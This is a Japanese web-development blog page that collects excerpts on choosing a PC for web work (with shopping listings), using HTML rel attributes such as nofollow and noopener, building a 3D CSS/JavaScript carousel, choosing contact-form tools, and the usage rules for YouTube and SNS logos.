512GB〜1TBGPU内蔵GPUで十分内蔵GPUで十分内蔵GPU可（3D・動画なら独立GPU）ディスプレイFHD（1920×1080）以上FHD以上sRGB 100%以上推奨価格帯の目安8〜12万円15〜20万円20〜35万円 それぞれ詳しく解説します。 レベル1：学習・入門用スペック HTMLやCSS、JavaScriptの基礎学習が中心のフェーズです。VSCodeでコードを書き、ブラウザでプレビューを確認するのがメインの使い方になります。 このフェーズで実際にやること VSCode（テキストエディタ）でHTML/CSS/JavaScriptを書く ブラウザ（Chrome）でプレビュー確認 Figmaの基本操作を学ぶ（ブラウザ版を使用） 簡単なレスポンシブデザインの確認 必要スペックの根拠 VSCode自体は比較的軽量なソフトですが、拡張機能を入れたりChrome DevToolsを開いたりすると、メモリ使用量は意外と増えます。8GBあればギリギリ足りますが、ブラウザのタブを10枚以上開くと厳しくなるため、予算が許すなら16GBを選ぶのが無難です。 CPUはCore i5 / Ryzen 5クラスで十分。学習段階ではビルドツール（webpack、Viteなど）を頻繁に使うことは少ないため、この性能帯で快適に作業できます。 注意点 「安いから」と2〜3万円台の格安ノートPCを買うのはおすすめしません。CPUがCeleron / Pentiumクラスだったり、メモリが4GBだったりすると、VSCodeすらまともに動かないことがあります。最低限のラインとして8万円前後は見ておきましょう。 【エントリーでP10倍★7/19 20:00〜】【3年保証・国内生産・公式】 ノートパソコン Office付き 新品 mouse A5-A5A01SR-A 15.6インチ フルHD Ryzen 5 7430U 8GB メモリ 256GB SSD マウスコンピューター ノートPC おすすめ 楽天で購入 【公式・メーカー直販・送料無料】ノートパソコン office付き 新品 軽量 薄型 HP Pavilion Aero 13-bg 13インチ Windows11 AMD Ryzen 5 8640U 16GB 512GB IPS マウス付き 1年保証 転送不可 (型番:A17X7PA/A17X8PA) 楽天で購入 レベル2：実務・開発用スペック フロントエンド開発を本格的に行うフェーズです。React / Next.js / Vue.jsなどのフレームワークを使い、Gitでバージョン管理をしながら開発を進めます。 このフェーズで実際にやること React / Next.jsなどのモダンフレームワークでの開発 npm / yarnでのパッケージ管理とビルド Dockerでのローカル開発環境構築（WordPressのローカル環境など） Gitでのバージョン管理 Figmaでデザインカンプの確認と実装 ブラウザの複数タブでレスポンシブ確認 必要スペックの根拠 このフェーズでメモリ16GBが必須になる最大の理由はDockerです。Dockerはコンテナ型の仮想環境（パソコンの中にもう1台仮想的なコンピュータを動かすしくみ）で、これだけで2〜4GBのメモリを消費します。VSCode、Chrome、Dockerを同時に起動すると、8GBではまず足りません。 CPUもCore i7 / Ryzen 7クラスが欲しいところです。Next.jsのビルドやTypeScriptのコンパイルはCPUパワーを使うため、i5クラスだとビルドの待ち時間が長くなりストレスを感じるようになります。 実体験からのアドバイス 筆者の経験上、「メモリ8GBで実務をやっている」という人は、かなりの確率で「よくパソコンが固まる」と言っています。特にDockerとChrome（20タブ以上）の同時使用は、8GBでは実質不可能です。実務を見据えるなら、メモリ16GBは妥協しないでください。 ガレリア ゲーミングノートPC ノートパソコン Core i7-13620H RTX 4050 メモリ 16GB / SSD 500GB Windows 11 Home 15.6インチ 165Hz GALLERIA RL7C-R45-5N 15813-3539 楽天で購入 【公式・メーカー直販・送料無料】ノートパソコン office付き 新品 軽量 薄型 HP Pavilion Aero 13-bg 13インチ Windows11 AMD Ryzen 5 8640U 16GB 512GB IPS マウス付き 1年保証 転送不可 (型番:A17X7PA/A17X8PA) 楽天で購入 レベル3：デザイン・クリエイティブ用スペック PhotoshopやIllustratorなどのAdobe系ソフトをフル活用するフェーズです。高解像度の画像やPSDファイルを扱うため、より高いスペックが求められます。 このフェーズで実際にやること Photoshop / Illustratorでのデザイン制作 Figmaでの本格的なUIデザイン 高解像度画像の編集と書き出し デザインと実装の並行作業 必要スペックの根拠 Adobe Photoshopの推奨メモリは16GB以上です。Illustratorと同時に使うなら32GBあると余裕が生まれます。 ディスプレイの色域（ディスプレイが表示できる色の範囲）も重要なポイントです。Web制作ではsRGB 100%のカバー率があれば十分です。Adobe RGBやDCI-P3は印刷や映像制作で使われる規格なので、Webデザインのみであれば不要です。 ストレージは512GB以上を強くおすすめします。PSDファイルは1ファイルで数百MBになることもあり、256GBではすぐにいっぱいになってしまいます。 GPUについて Webデザインに限定するなら、独立GPU（グラフィックボード）は基本的に不要です。PhotoshopやIllustratorはGPUアクセラレーション（GPU支援による高速化）に対応していますが、CPU内蔵GPUでも十分動作します。 独立GPUを検討すべきなのは、3Dオブジェクトのレンダリングや、After Effectsでの映像制作、4K動画の編集を行う場合です。 【エントリーでP10倍★7/19 20:00〜】【5千円オフクーポン★7/30まで】【3年保証・国内生産・公式】DAIV Z4-I7I01SR-B クリエイターPC 14インチ WUXGA液晶 Core Ultra 7 255H 16GB メモリ 1TB SSD ノートパソコン 新品 Office付き マウスコンピューター 楽天で購入 【エントリーでP10倍★7/19 20:00〜】【5千円オフクーポン★7/30まで】【3年保証・国内生産・公式】ノートパソコン Office付き 新品 DAIV Z4-A9A01SR-B(32GB メモリ) クリエイターPC 14型 WUXGA液晶 AMD Ryzen AI 9 365 32GB メモリ 1TB M.2 SSD マウスコンピューター 楽天で購入 楽天市場パソコンランキング Webデザイン向けパソコンの推奨スペック｜Webデザイナーに必要な性能 Webデザインに特化したパソコン選びでは、一般的なWeb制作とは異なる視点が必要です。Webデザイナー向けPCに求められるスペックは、使用するデザインツールと作業内容によって決まります。以下の表は、Webデザインのパソコンスペックとして最低限必要な基準と推奨スペックをまとめたものです。 ### [nofollowとは？dofollow・noreferrer・sponsoredとの違いをわかりやすく解説](https://codequest.work/html-rel-attribute/) Webサイトでリンクを貼るとき、ただURLを指定するだけで満足していませんか？ 実は、リンクには「このリンクはどういう関係のものか」を検索エンジンやブラウザに伝える仕組みがあります。それがrel属性です。 rel属性を正しく使い分けるだけで、SEO評価のコントロール、セキュリティの強化、アクセス解析の精度向上と、地味ですが確実に効果がある改善ができます。 この記事では、rel属性の基本から実務での使い分けまで、コードと一緒に解説します。最後に判断チャートも用意したので、「このリンクにはどのrel属性をつけるべき？」と迷ったときの参考にしてください。 rel属性ってなに？【30秒でわかる基本】 rel属性のrelは「relationship（関係性）」の略です。 HTMLでリンクを貼るとき、<a>タグにrel属性を追加すると、「このリンク先は広告です」「このリンク先の評価は渡しません」といった情報を、検索エンジンとブラウザに伝えることができます。 たとえば、普通のリンクとrel属性つきのリンクを比べてみましょう。 <!-- 普通のリンク（rel属性なし） --> <a href="https://example.com">おすすめのサイト</a> <!-- rel属性つきのリンク --> <a href="https://example.com" rel="nofollow">参考サイト</a> どちらもユーザーの見た目には変わりませんが、検索エンジンから見ると意味がまったく違います。 上のリンクは「このサイトを推薦しています」というシグナルになり、リンク先にSEO評価（リンクジュースと呼ばれます）が渡ります。 下のリンクは「リンク先の評価は保証しません」というシグナルになり、SEO評価は渡りません。 rel属性は<a>タグだけでなく、<link>タグでも使えます。<link>タグで使う場合は、CSSファイルの読み込みやcanonicalの指定など、ページのhead部分で使うことが多いです。この記事では、実務で使う頻度の高い<a>タグのrel属性を中心に解説します。 rel属性で使える主な値 rel属性には色々な値がありますが、SEOとセキュリティに関わるのは以下の6つです。 rel属性の値何をするか主な使い場面nofollowリンク先にSEO評価を渡さない信頼できない外部リンクsponsored広告・スポンサーリンクであることを示すアフィリエイト、PR記事ugcユーザーが投稿したリンクであることを示すコメント欄、フォーラムnoopenerリンク先から元ページの操作をブロックtarget="_blank"のリンクnoreferrerリンク先にアクセス元のURL情報を送らないプライバシー配慮canonical正規のURLを検索エンジンに伝える重複コンテンツ対策 ここからは、それぞれの値を詳しく解説していきます。 dofollowとnofollowの違い【最重要】 rel属性の中で最も重要なのが、nofollowです。 dofollowは「何もつけない状態」 まず知っておきたいのは、dofollowというrel属性の値は存在しないということです。 <!-- これは間違い。rel="dofollow"というコードはHTMLに存在しません --> <a href="https://example.com" rel="dofollow">サイト</a> <!-- dofollowとは、単にrel属性を何もつけない状態のこと --> <a href="https://example.com">サイト</a> 「dofollow」という言葉はSEOの業界用語として使われていますが、HTMLの仕様にはありません。rel属性を何も指定しないリンクのことを、nofollowと区別するためにdofollowと呼んでいるだけです。 nofollowの役割 nofollowは2005年にGoogleが導入しました。当時、ブログのコメント欄にリンクを大量に貼るスパムが問題になっていて、その対策として生まれた仕組みです。 <a href="https://example.com" rel="nofollow">参考サイト</a> nofollowをつけると、検索エンジンに「このリンク先にSEO評価を渡さないでください」と伝えます。 ただし、2019年にGoogleは方針を変更しました。以前はnofollowを「命令」として扱っていましたが、現在は「ヒント」として扱っています。つまり、nofollowをつけても、Googleがリンク先をクロール（巡回）したり、評価の参考にしたりする可能性はゼロではありません。 とはいえ、nofollowを適切に設定することは今でもSEOの基本です。以下のようなリンクにはnofollowをつけましょう。 信頼性を保証できない外部サイトへのリンク 有料で掲載しているリンク（広告やPR） ユーザーが投稿したコメント内のリンク sponsoredとugc ― nofollowの進化形 2019年、Googleはnofollowに加えて2つの新しいrel属性の値を導入しました。sponsoredとugcです。 sponsored：広告・有料リンク用 <a href="https://example.com" rel="sponsored">スポンサーの商品ページ</a> アフィリエイトリンクやPR記事内のリンクなど、金銭的なやりとりが発生しているリンクに使います。 以前はこうしたリンクにもnofollowを使っていましたが、Googleは「もっと具体的に教えてほしい」と考え、sponsoredを導入しました。Googleのガイドラインでは、有料リンクにはsponsoredを使うことが推奨されています。 ugc：ユーザー投稿のリンク用 ugcは「User Generated Content（ユーザー生成コンテンツ）」の略です。 <a href="https://example.com" rel="ugc">ユーザーが投稿したリンク</a> ブログのコメント欄やフォーラムの投稿など、サイト運営者ではなくユーザーが書き込んだリンクに使います。 3つの使い分け 場面使うrel属性アフィリエイトリンクsponsoredPR記事・広告のリンクsponsoredコメント欄のリンクugcフォーラム・掲示板のリンクugc上記以外で評価を渡したくないnofollow信頼できるサイトへのリンク何もつけない（dofollow） sponsoredやugcは、nofollowと併用することもできます。 <!-- 併用も可能 --> <a href="https://example.com" rel="nofollow sponsored">広告リンク</a> 実はこのコード、古いブラウザではセキュリティ上の問題がありました。リンク先のページから、元のページ（あなたのサイト）を操作できてしまう脆弱性です。これを「タブナビング攻撃」といいます。 noopener：元ページの操作をブロック <a href="https://example.com" target="_blank" rel="noopener">外部サイト</a> noopenerをつけると、リンク先のページから元のページにアクセスできなくなります。 現代のブラウザ（Chrome、Firefox、Safari、Edgeなど）は、target="_blank"を指定すると自動的にnoopener相当の動作をします。しかし、明示的にnoopenerを書いておくことが推奨されています。 noreferrer：アクセス元の情報を送らない <a href="https://example.com" target="_blank" rel="noreferrer">外部サイト</a> noreferrerをつけると、リンク先のサイトに「どのページからアクセスしてきたか」という情報（リファラー）が送られなくなります。noopenerの効果も含んでいるので、noreferrerをつければnoopenerは不要です。 マーケター向けの注意点 noreferrerをつけると、リンク先のGoogleアナリティクスでは、あなたのサイトからのアクセスが「参照元なし（direct）」として記録されます。 つまり、自分のサイトからのリンクを相手に認識してもらいたい場合（被リンク営業やパートナーシップなど）は、noreferrerをつけない方が得策です。 推奨の書き方 外部リンクを別タブで開く場合の推奨パターンはこちらです。 <!-- 一般的な外部リンク --> <a href="https://example.com" target="_blank" rel="noopener noreferrer"> 外部サイトへ </a> <!-- リファラーを残したい場合 --> <a href="https://example.com" target="_blank" rel="noopener"> パートナーサイトへ </a> canonical ― 重複コンテンツ問題を防ぐ canonicalは<a>タグではなく、<link>タグで使うrel属性です。SEO対策では非常に重要なので、ここで触れておきます。 同じ内容が複数のURLに存在する問題 たとえば、以下のURLがすべて同じページを表示していたらどうでしょう。 https://example.com/page https://example.com/page?ref=twitter https://example.com/page?utm_source=google https://www.example.com/page 検索エンジンはこれらを別のページとして認識してしまい、SEO評価が分散してしまう可能性があります。 canonicalで正規URLを指定する <!-- ページのhead内に記述 --> <link rel="canonical" href="https://example.com/page"> canonicalを設定すると、「このページの正式なURLはこれです」と検索エンジンに伝えられます。評価が1つのURLに集約されるので、SEO効果が分散しません。 WordPressを使っている場合は、AIOSEOなどのSEOプラグインが自動でcanonicalを設定してくれます。ただし、パラメータ付きURLや、wwwの有無、httpとhttpsの混在など、意図しない重複が発生していないか定期的にチェックしておくことをおすすめします。 【判断チャート】あなたのリンクにはどのrel属性が必要？ 「結局、どのrel属性をつければいいの？」と迷ったときは、以下のフローで判断できます。 Step 1 → そのリンクは外部サイトへのリンクですか？ Noの場合 → 基本的にrel属性は不要です。内部リンクにnofollowをつけると、サイト内のSEO評価の流れを妨げてしまうので避けましょう。 Yesの場合 → Step 2へ。 Step 2 → target="_blank"（別タブで開く）を使いますか？ Yesの場合 → rel="noopener noreferrer" を追加。さらにStep 3へ。 Noの場合 → そのままStep 3へ。 Step 3 → そのリンクは広告やアフィリエイトですか？ Yesの場合 → rel="sponsored" を追加。 ### [CSSとJavaScriptで作る3Dカルーセル|キーボード操作対応のインタラクティブギャラリー](https://codequest.work/css-3d-carousel-tutorial/) Webサイトに奥行きと立体感を与える3Dカルーセル。単なる平面的なスライダーとは違い、空間の中でカードが回転する様子は、ユーザーに印象的な体験を提供します。 この記事では、CSS 3D transformsとJavaScriptを使って、キーボード操作にも対応した本格的な3Dカルーセルの作り方を解説します。 See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. 今回作成する3Dカルーセルは、以下の機能を備えています。3D空間でのカード回転、左右矢印キーでのナビゲーション、スペースキーでの自動再生と停止の切り替え、スムーズなトランジション効果、そして中央にフォーカスした見やすいレイアウトです。 CSS 3D Transformsの基礎 3Dカルーセルを実装する前に、CSS 3D transformsの重要な概念を押さえておきましょう。 perspectiveプロパティ perspectiveは、3D空間の「視点」を設定するプロパティです。この値が小さいほど視点が近く、大きいほど遠くから見ている状態になります。今回の実装では、カルーセルコンテナに1200pxのperspectiveを設定しています。 perspectiveは通常、3D変形を行う要素の親要素に設定します。値は800pxから2000pxの範囲が一般的で、1200px前後が自然な立体感を生み出します。値が小さすぎると歪みが強くなり、大きすぎると立体感が弱くなってしまいます。 transform-style: preserve-3d transform-style: preserve-3dは、子要素の3D変形を保持するために必須のプロパティです。カルーセル要素にこのプロパティを設定することで、カード要素が3D空間内で正しく配置されます。 このプロパティがないと、子要素は平面的にレンダリングされてしまい、せっかくの3D効果が失われてしまいます。3D transformsを使う際は、必ずこのプロパティを親要素に設定することを忘れないようにしましょう。 rotateY()による回転 rotateY()は、Y軸、つまり縦軸を中心に要素を回転させる関数です。3Dカルーセルでは、この回転を動的に変化させることで、カードが円形に配置されているように見せます。 各カードに異なる角度のrotateYを適用することで、円周上に並んだ配置を実現しています。 <div class="scene"> <div class="carousel"> <div class="carousel__cell">01 / 06</div> <div class="carousel__cell">02 / 06</div> <div class="carousel__cell">03 / 06</div> <div class="carousel__cell">04 / 06</div> <div class="carousel__cell">05 / 06</div> <div class="carousel__cell">06 / 06</div> </div> </div> /* 3D空間の視点を決める親要素 */ .scene { width: 320px; height: 400px; perspective: 1200px; position: relative; } /* 子要素の3D変形を保持し、回転をアニメーションさせる */ .carousel { width: 100%; height: 100%; position: absolute; transform-style: preserve-3d; transition: transform 0.8s cubic-bezier(0.23, 1, 0.32, 1); } /* 各カードは絶対配置。裏面は非表示にしておく */ .carousel__cell { position: absolute; width: 280px; height: 380px; left: 20px; top: 10px; backface-visibility: hidden; } 3Dカルーセルの実装ポイント カードの円形配置 3Dカルーセルの核心は、カードを円周上に配置することです。5枚のカードを均等に配置する場合、360度を5で割った72度ずつ回転させます。 1枚目はrotateY(0deg)、2枚目はrotateY(72deg)、3枚目はrotateY(144deg)、4枚目はrotateY(216deg)、5枚目はrotateY(288deg)という具合に配置します。 JavaScriptで動的に設定する場合は、360度をカード総数で割った値に、各カードのインデックスを掛けることで角度を計算できます。 translateZで奥行きを調整 translateZ()は、回転させた要素を視点から離す、または近づける役割を果たします。この値が大きいほどカルーセルの半径が大きくなります。今回の実装では、400pxの値を使用しています。 重要なのは、rotateY()の後にtranslateZ()を適用する順序です。この順序により、回転後にZ軸方向へ移動することで円形配置が実現されます。順序を逆にすると、意図した配置にならないので注意が必要です。 const carousel = document.querySelector(".carousel"); const cells = carousel.querySelectorAll(".carousel__cell"); const cellCount = cells.length; // 1枚あたりのステップ角度（6枚なら60度） const theta = 360 / cellCount; // カード幅280pxから半径を算出。+80pxでカード同士の間隔を確保する const radius = Math.round(280 / 2 / Math.tan(Math.PI / cellCount)) + 80; function setupCarousel() { cells.forEach((cell, i) => { // rotateY で向きを決めてから translateZ で外周へ押し出す（順序が重要） cell.style.transform = `rotateY(${theta * i}deg) translateZ(${radius}px)`; }); } JavaScriptでの回転制御 回転ロジックの実装 カルーセル全体を回転させるには、コンテナ要素のrotateYの値を変更します。現在の回転角度を変数で管理し、ユーザーの操作に応じて角度を加算または減算していきます。 1枚分のステップ角度は、カード総数から計算します。5枚のカルーセルなら72度がステップ角度になります。左ボタンをクリックすると角度がプラス、右ボタンをクリックすると角度がマイナスされることで、カルーセルが回転します。 このシンプルなロジックで、カルーセルをスムーズに回転させることができます。 let selectedIndex = 0; let currentAngle = 0; function rotateCarousel(steps = 0) { currentAngle -= steps * theta; // カルーセル全体を手前に引き戻してから回転させる carousel.style.transform = `translateZ(${-radius}px) rotateY(${currentAngle}deg)`; } スムーズなアニメーション CSSトランジションを使うことで、回転がスムーズになります。transitionプロパティにtransformを指定し、0.8秒程度の時間とイージング関数を設定します。 イージング関数には、cubic-bezier(0.23, 1, 0.32, 1)を使用しています。これは、終盤にかけて滑らかに減速する自然な動きを作り出す関数です。単純なease-in-outよりも洗練された動きになります。 カウンター管理 現在表示されているカードを追跡するために、インデックスを管理します。ユーザーが左右に操作するたびに、このインデックスを更新します。 モジュロ演算子を使うことで、インデックスが範囲外になることを防ぎます。たとえば、5枚のカルーセルで右端から右に進むと、自動的に左端に戻ります。負の値になった場合も、カード総数を加算することで正しい範囲に収めます。 キーボード操作の実装 イベントリスナーの設定 キーボード操作を実装するには、keydownイベントを監視します。ユーザーが左矢印キーを押したとき、右矢印キーを押したとき、スペースキーを押したときに、それぞれ異なる処理を実行します。 左矢印キーでは、カルーセルを右方向に回転させ、インデックスを1つ減らします。右矢印キーでは逆に、左方向に回転させ、インデックスを1つ増やします。スペースキーでは、自動再生機能の開始と停止を切り替えます。 スペースキーのデフォルト動作、つまりページスクロールを防ぐために、preventDefault()を呼び出すことも忘れないようにしましょう。 document.addEventListener("keydown", (e) => { if (e.key === "ArrowLeft") { selectedIndex = (selectedIndex - 1 + cellCount) % cellCount; rotateCarousel(-1); } else if (e.key === "ArrowRight") { selectedIndex = (selectedIndex + 1) % cellCount; rotateCarousel(1); } else if (e.key === " ") { e.preventDefault(); // スペースキーによるページスクロールを防ぐ toggleAutoPlay(); } }); 自動再生機能 一定間隔で自動的に回転させる機能も実装しています。setInterval()を使うことで、指定した間隔で関数を実行できます。今回は3秒ごとに自動で次のカードに進むように設定しています。 自動再生中かどうかを示すフラグを用意し、スペースキーで切り替えられるようにしています。再生中にスペースキーを押すとclearInterval()でインターバルをクリアし、停止します。停止中にスペースキーを押すと、新しいインターバルを設定して再生を開始します。 この機能により、ユーザーが自分のペースでコンテンツを閲覧できます。 let autoPlayInterval = null; let isPlaying = false; function toggleAutoPlay() { if (isPlaying) { clearInterval(autoPlayInterval); } else { autoPlayInterval = setInterval(() => { selectedIndex = (selectedIndex + 1) % cellCount; rotateCarousel(1); }, 3000); } isPlaying = !isPlaying; } カスタマイズのポイント カード枚数の変更 カード枚数を変更する場合は、カード総数とステップ角度を調整します。たとえば7枚に変更する場合、360度を7で割った約51.43度がステップ角度になります。 ### [WordPress/STUDIO/HTMLコンタクトフォームおすすめツールと実装方法](https://codequest.work/lp-contact-form-recommend/) WordPress/STUDIO/HTMLでLP(ランディングページ)を制作する際、お問い合わせフォームの選定は非常に重要です。しかし、制作環境によって最適なフォームツールは大きく異なります。 この記事では、WordPress、STUDIO、HTMLの3つの環境別に、最適なお問い合わせフォームツールと具体的な実装方法を解説します。初心者の方でも迷わず選べるよう、それぞれのメリット・デメリットを明確にしていきます。 LP制作環境でフォーム選びが変わる理由 LPのお問い合わせフォームを選ぶ際、まず考えるべきは「どの環境で制作しているか」です。 WordPressならプラグインが豊富に使えますが、HTMLの静的サイトでは外部サービスに頼る必要があります。STUDIOのようなノーコードツールには標準機能が備わっていますが、カスタマイズ性に限界があることも。 また、フォームツール選びで重要なのは以下の3点です: 実装の簡単さ: 制作時間とコストに直結します GA4連携: コンバージョン計測ができないと効果測定ができません メンテナンス性: 運用開始後の管理工数も考慮が必要です 環境に合わないツールを選んでしまうと、実装に余計な時間がかかったり、後から機能追加が難しくなったりします。それぞれの環境で最適なツールを選ぶことが、効率的なLP制作の第一歩です。 環境別おすすめフォーム一覧 まず、各環境でおすすめのフォームツールを一覧で比較します。 制作環境おすすめツール難易度無料範囲GA4連携WordPressWPForms / Contact Form 7★☆☆基本機能OK容易STUDIO標準フォーム機能★☆☆回答100件/月可能HTML/静的サイトWeb3Forms★★☆送信250件/月容易 この表を見れば、自分の環境でどのツールを使うべきか一目でわかります。それでは、各環境ごとに詳しく見ていきましょう。 WordPress環境のLPに最適なフォーム WordPressでLPを制作する場合、プラグインを使うのが最も効率的です。おすすめは「WPForms」と「Contact Form 7」の2つです。 WPFormsの特徴 WPFormsは初心者に最もおすすめのプラグインです。ドラッグ&ドロップで直感的にフォームを作成でき、GA4連携も簡単に設定できます。 無料版でも基本的な機能は十分使えますが、有料版ではファイルアップロードや決済機能も追加できます。コンバージョントラッキング機能が標準で備わっているため、GA4でのイベント計測も設定画面から簡単に行えます。 LPを初めて作る方や、できるだけ手間をかけたくない方には、WPFormsが最適です。管理画面も日本語化されており、マニュアルを見なくても直感的に操作できるのも大きなメリットです。 Contact Form 7の特徴 Contact Form 7は軽量で自由度の高いプラグインです。当サイトでも別記事で詳しく解説していますが、カスタマイズ性が非常に高いのが特徴です。 WordPressの動作を軽くしたい場合や、細かいカスタマイズが必要な場合に選ばれることが多いです。ただし、設定は少し複雑で、GA4連携もGTM(Googleタグマネージャー)を経由する必要があります。 プログラミングの知識がある方や、すでにContact Form 7に慣れている方には、引き続き使うのも良い選択です。 関連記事: Contact Form 7で自動採番を実装する方法では、CF7のカスタマイズ例を詳しく解説しています。 WordPress環境での選び方 どちらを選ぶべきかは、以下の基準で判断してください: WPFormsを選ぶべき人: WordPress初心者 できるだけ手軽に実装したい GA4連携を簡単に設定したい 有料版の機能(決済など)も将来使いたい Contact Form 7を選ぶべき人: すでにContact Form 7に慣れている 軽量なプラグインを使いたい 細かいカスタマイズをしたい GTMを使ったタグ管理ができる 迷ったら、まずはWPFormsから始めるのが無難です。 STUDIO環境のLPに最適なフォーム STUDIOでLPを制作する場合、標準搭載されているフォーム機能を使うのがベストです。 STUDIO標準フォームの特徴 STUDIOのフォーム機能は、ドラッグ&ドロップで簡単に設置できます。主な特徴は以下の通りです: デザインを自由にカスタマイズ可能 メール通知が自動で送信される スパム対策も一定レベルで装備 GA4イベントの設定も可能 追加料金なしで利用できる ノーコードでLP制作を完結させたい方には、STUDIO標準フォームが最適解です。わざわざ外部サービスを使う必要はありません。 STUDIO標準フォームのメリット・デメリット メリット: コード不要で実装できる デザインの自由度が高い STUDIOの他機能との連携がスムーズ 追加コストがかからない 管理画面で送信内容を確認できる デメリット: 高度なカスタマイズには限界がある 外部ツール(Slack、スプレッドシートなど)との連携は標準では難しい 確認画面の実装にはカスタムコードが必要 デメリットもありますが、ほとんどのLPでは標準機能で十分対応できます。特別な理由がない限り、STUDIO標準フォームを使うのがおすすめです。 HTML/静的サイトのLPに最適なフォーム HTMLで静的サイトのLPを制作する場合、サーバーサイド処理が必要なため、外部フォームサービスを使うのが一般的です。 ここでは最もおすすめの「Web3Forms」を中心に、実装方法を詳しく解説します。 Web3Formsが最適な理由 Web3Formsは、HTMLの静的サイトに最適なフォームサービスです。主な特徴は: 無料プランは月250件まで(フォーム数とドメイン数は無制限) HTMLフォームに数行追加するだけで動作 スパム対策(reCAPTCHA/hCaptcha)標準装備 Webhook機能でSlackやGoogleスプレッドシート連携が可能 GA4イベント計測が簡単 自動返信メール機能あり FormspreeやGoogleフォームも選択肢ですが、Web3Formsは無料で使える機能範囲が最も広く、HTMLとの親和性も高いです。 Web3Formsの実装方法 Web3Formsの実装は非常にシンプルです。公式サイトでアクセスキーを取得し、HTMLフォームのaction属性とhidden inputを追加するだけで動作します。 JavaScriptを使えば、確認画面の実装やGA4イベントの送信も可能です。HTMLとJavaScriptの基本的な知識があれば、数十分で実装できます。 確認画面の実装について LPでは、送信前に確認画面を表示したいケースも多いです。Web3Formsは確認画面がデフォルトではありませんが、JavaScriptを使えば簡単に実装できます。 確認画面を実装することで、ユーザーの入力ミスを防ぎ、送信完了率を高めることができます。特にBtoB向けのLPでは、確認画面があることでユーザーの安心感も高まります。 GA4イベント計測の設定 LPでは、フォーム送信をGA4で計測することが重要です。Web3Formsは送信成功時にレスポンスを返すため、そのタイミングでGA4イベントを発火させることができます。 GA4タグを直接使う方法と、GTM経由で計測する方法の両方に対応できます。どちらの方法でも、フォーム送信をコンバージョンとして正確に計測できます。 他のフォームサービスとの比較 HTML環境では、Web3Forms以外にもいくつか選択肢があります。 Formspree: 無料プランは月50件まで 実装はWeb3Formsと同様に簡単 有料プランは月10ドルから(月200件のPersonal) 小規模LPなら選択肢になる Googleフォーム: 回答数そのものに課金の上限はない(添付ファイルはオーナーのGoogleドライブ15GBを消費する) テーマ色・背景色・ヘッダー画像・フォントは変更できるが、項目の並び方はGoogleフォームの型のまま 埋め込みで使えるが、LPのデザインに合わせにくい GA4連携が少し複雑 無料プランで実際にどこまで運用できるかは、formrun・Tayori・Googleフォームの無料枠で件数・通知・自動返信の上限を数字で確認できます。 結論: HTMLの静的サイトでは、HTMLに数行足すだけで動き無料枠も月250件と広いWeb3Formsが扱いやすい選択肢です。月50件以下の小規模LPならFormspree、見た目より運用の手軽さを優先するならGoogleフォームも候補になります(いずれも2026年8月2日時点の公式表記)。 よくある質問 Q. WordPressでもWeb3Formsは使えますか? はい、WordPressでもWeb3Formsは使えます。ただし、WordPressならWPFormsやContact Form 7などのプラグインを使う方が、管理画面から設定できて便利です。 Q. 無料プランでスパム対策はできますか? Web3FormsもWPFormsも、無料プランでスパム対策機能が使えます。reCAPTCHAやhCaptchaを設定することで、スパム送信を大幅に減らせます。 Q. フォーム送信後の自動返信メールは設定できますか? Web3Formsは自動返信メールに対応しています。管理画面から設定するだけで、送信者に自動で確認メールを送れます。WordPressのプラグインも同様に対応しています。 Q. GA4でフォーム送信を計測するにはどうすればいいですか? Web3FormsならJavaScriptでイベント送信できます。WPFormsなら設定画面からGoogleアナリティクス連携を有効にするだけで計測可能です。 Q. 確認画面は必須ですか? 確認画面は必須ではありませんが、LPではユーザーの入力ミスを防ぐために設置することをおすすめします。送信前に内容を確認できることで、ユーザーの安心感も高まります。 なお、そもそもLP1枚で足りるのか複数ページに分けるべきなのかで迷っている段階なら、フォーム選びより先に構成を決めたほうが手戻りがありません。検索クエリ数と検討期間でLP1枚か複数ページかを判定する手順にまとめています。 まとめ:環境別フローチャート 最後に、環境別の選択フローをまとめます: WordPress環境の場合: 初心者・手軽さ重視 → WPForms カスタマイズ重視・軽量化したい → Contact Form 7 STUDIO環境の場合: ノーコードで完結したい → 標準フォーム機能 HTML/静的サイトの場合: 無料枠の広さとカスタマイズ性重視 → Web3Forms(月250件) 小規模LP(月50件以下) → Formspree 最もシンプルに実装したい → Googleフォーム LPのお問い合わせフォームは、制作環境によって最適解が変わります。この記事を参考に、自分の環境に合ったツールを選んで、効果的なLPを作成してください。 ### [知らないと危険！YouTubeロゴやSNSロゴをHPに掲載する前に必ず確認すべきこと](https://codequest.work/youtube-logo-sns-logo-guideline/) 「よく見るロゴだし、そのまま使っても大丈夫でしょ？」 ちょっと待ってください！それ、実は規約違反かもしれません。 企業のホームページにYouTubeやInstagram、X（旧Twitter）などのSNSロゴを掲載することは珍しくありませんが、実は各プラットフォームには厳格な使用ルールが存在します。知らずに使って後から問題になる前に、正しい知識を身につけましょう。 要注意！YouTubeロゴの使用ルール ブランドガイドラインの遵守が必須 YouTubeロゴは、公式のブランドガイドラインに沿って使用することが求められます。Webサイトのフッターなどでチャンネルへのリンクアイコンとして使う場合は、ガイドラインを守れば個別の申請は不要です。ただし、TV番組・大規模な屋外広告・自社製品との一体化など特殊な用途では事前申請が必要になります。 ガイドラインが厳格な理由 YouTubeは自社のブランドイメージを非常に大切にしており、ロゴの不適切な使用によってブランド価値が損なわれることを防ぐため、色・形状・余白などに厳格なルールを設けています。 申請が不要なケース Webサイトのヘッダーやフッターに、他のSNSと並べてチャンネルへのリンクアイコンとして設置する 名刺やプロフィールに「チャンネルはこちら」とアイコンを掲載する 自身のチャンネル内でYouTubeの機能を紹介するためにロゴを表示する 申請が必要なケース TV番組・映画など映像作品での使用 大規模な屋外広告（看板・ラッピングバスなど） 自社製品との一体化（YouTubeと共同開発したかのように見えるデザイン） マーケティング資料での大規模な使用 やってはいけないこと ❌ ロゴの色を変更（赤・黒・白以外の色） ❌ ロゴの形状を変更・回転・変形 ❌ 最小サイズ未満での使用（デジタル：24dp、印刷：3.1mm） ❌ 周囲の余白不足（三角形アイコンサイズ以上の余白が必要） ❌ 古いバージョンのロゴを使用 よくある失敗例 ケース1：デザインに合わせて色を変更 → サイトのテーマカラーに合わせて青色に変更 → NG ケース2：他のアイコンと同じサイズに縮小 → 16px程度の小さなサイズで表示 → NG（最小サイズ未満） ケース3：アイコンだけ切り抜いて使用 → 再生ボタンの三角形だけ使用 → NG（改変にあたる） YouTubeロゴのガイドライン｜使用許可と禁止事項 YouTubeロゴの使用許可を得るために知っておくべきガイドラインを、許可される使い方と禁止事項に分けて整理します。YouTubeロゴ使用のルールは公式ブランドリソースページで定められており、違反するとロゴの使用停止を求められる場合があります。 